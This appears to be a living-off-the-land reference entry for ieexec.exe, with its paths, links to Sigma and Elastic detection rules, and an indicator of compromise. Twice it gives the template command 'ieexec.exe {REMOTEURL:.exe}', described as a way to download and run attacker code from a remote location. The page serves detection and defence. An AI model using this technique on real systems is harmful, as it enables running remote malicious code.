Ieexec.exe
The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.
Paths
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe
Commands
Download
Downloads and executes executable from the remote server.
Use case: Download and run attacker code from remote location
Privileges: User
ieexec.exe {REMOTEURL:.exe}Execute
Downloads and executes executable from the remote server.
Use case: Download and run attacker code from remote location
Privileges: User
ieexec.exe {REMOTEURL:.exe}Detection
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_ieexec_download.yml
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
- IOC: Network connections originating from ieexec.exe may be suspicious